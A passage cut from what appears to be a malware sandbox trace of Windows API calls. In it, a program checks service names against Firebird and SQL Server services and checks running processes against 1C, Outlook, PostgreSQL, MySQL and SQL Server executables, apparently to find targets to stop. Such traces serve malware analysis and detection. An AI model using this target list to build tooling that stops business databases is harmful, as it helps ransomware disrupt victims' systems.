(lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0273.434] lstrlenW (lpString="DcomLaunch") returned 10 [0273.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.434] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.434] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.434] lstrlenW (lpString="Dhcp") returned 4 [0273.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.435] lstrlenW (lpString="Dnscache") returned 8 [0273.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.435] lstrlenW (lpString="DPS") returned 3 [0273.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.436] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.436] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.436] lstrlenW (lpString="eventlog") returned 8 [0273.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0273.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0273.436] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0273.436] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0273.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0273.436] lstrlenW (lpString="EventSystem") returned 11 [0273.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.436] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.436] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.437] lstrlenW (lpString="gpsvc") returned 5 [0273.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.437] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.437] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.437] lstrlenW (lpString="iphlpsvc") returned 8 [0273.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.437] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0273.437] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0273.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0273.437] lstrlenW (lpString="LanmanServer") returned 12 [0273.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0273.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0273.438] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0273.438] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0273.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0273.438] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.438] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.438] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.438] lstrlenW (lpString="lmhosts") returned 7 [0273.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.439] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.439] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.439] lstrlenW (lpString="MMCSS") returned 5 [0273.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0273.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0273.439] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0273.439] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0273.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0273.439] lstrlenW (lpString="MpsSvc") returned 6 [0273.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.439] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.440] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.440] lstrlenW (lpString="Netman") returned 6 [0273.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0273.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0273.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0273.440] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0273.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0273.440] lstrlenW (lpString="netprofm") returned 8 [0273.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0273.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0273.440] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0273.441] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0273.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0273.441] lstrlenW (lpString="NlaSvc") returned 6 [0273.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.441] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.441] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.441] lstrlenW (lpString="nsi") returned 3 [0273.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.441] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.442] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.442] lstrlenW (lpString="PcaSvc") returned 6 [0273.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.442] lstrlenW (lpString="PlugPlay") returned 8 [0273.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.443] lstrlenW (lpString="Power") returned 5 [0273.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.443] lstrlenW (lpString="ProfSvc") returned 7 [0273.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.443] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.443] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.443] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.444] lstrlenW (lpString="RpcSs") returned 5 [0273.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.444] lstrlenW (lpString="SamSs") returned 5 [0273.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.445] lstrlenW (lpString="Schedule") returned 8 [0273.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.445] lstrlenW (lpString="SENS") returned 4 [0273.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0273.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.446] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.447] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.447] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.447] lstrlenW (lpString="Spooler") returned 7 [0273.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.448] lstrlenW (lpString="SysMain") returned 7 [0273.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0273.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0273.448] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0273.448] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0273.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0273.448] lstrlenW (lpString="Themes") returned 6 [0273.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0273.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0273.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0273.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0273.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0273.448] lstrlenW (lpString="TrkWks") returned 6 [0273.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0273.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0273.449] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0273.449] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0273.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0273.449] lstrlenW (lpString="UxSms") returned 5 [0273.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0273.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0273.449] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0273.449] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0273.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0273.449] lstrlenW (lpString="WdiServiceHost") returned 14 [0273.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0273.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0273.450] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0273.450] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0273.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0273.450] lstrlenW (lpString="WdiSystemHost") returned 13 [0273.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0273.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0273.450] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0273.450] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0273.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0273.450] lstrlenW (lpString="Winmgmt") returned 7 [0273.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0273.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0273.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0273.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0273.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0273.451] lstrlenW (lpString="WPDBusEnum") returned 10 [0273.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0273.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0273.451] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0273.451] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0273.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0273.451] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0273.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b4 [0273.456] Process32FirstW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.457] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.458] lstrlenW (lpString="System") returned 6 [0273.458] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0273.458] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0273.458] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0273.459] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0273.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0273.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0273.459] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0273.459] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.460] lstrlenW (lpString="smss.exe") returned 8 [0273.460] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0273.460] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0273.460] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0273.460] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0273.460] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0273.460] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0273.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0273.461] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.462] lstrlenW (lpString="csrss.exe") returned 9 [0273.544] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0273.544] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0273.544] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0273.544] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0273.544] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0273.544] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0273.544] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0273.544] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.545] lstrlenW (lpString="wininit.exe") returned 11 [0273.545] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0273.546] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0273.546] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0273.546] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0273.546] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0273.546] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0273.546] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0273.546] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.547] lstrlenW (lpString="csrss.exe") returned 9 [0273.547] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0273.547] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0273.547] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0273.547] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0273.547] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0273.547] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0273.547] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0273.548] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.548] lstrlenW (lpString="winlogon.exe") returned 12 [0273.548] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0273.549] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0273.549] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0273.549] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0273.549] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.550] lstrlenW (lpString="services.exe") returned 12 [0273.550] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.551] lstrlenW (lpString="lsass.exe") returned 9 [0273.551] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.552] lstrlenW (lpString="lsm.exe") returned 7 [0273.552] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.553] lstrlenW (lpString="svchost.exe") returned 11 [0273.553] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.554] lstrlenW (lpString="svchost.exe") returned 11 [0273.555] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.556] lstrlenW (lpString="svchost.exe") returned 11 [0273.556] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.557] lstrlenW (lpString="svchost.exe") returned 11 [0273.557] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.558] lstrlenW (lpString="svchost.exe") returned 11 [0273.558] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.559] lstrlenW (lpString="audiodg.exe") returned 11 [0273.560] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.560] lstrlenW (lpString="svchost.exe") returned 11 [0273.561] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, 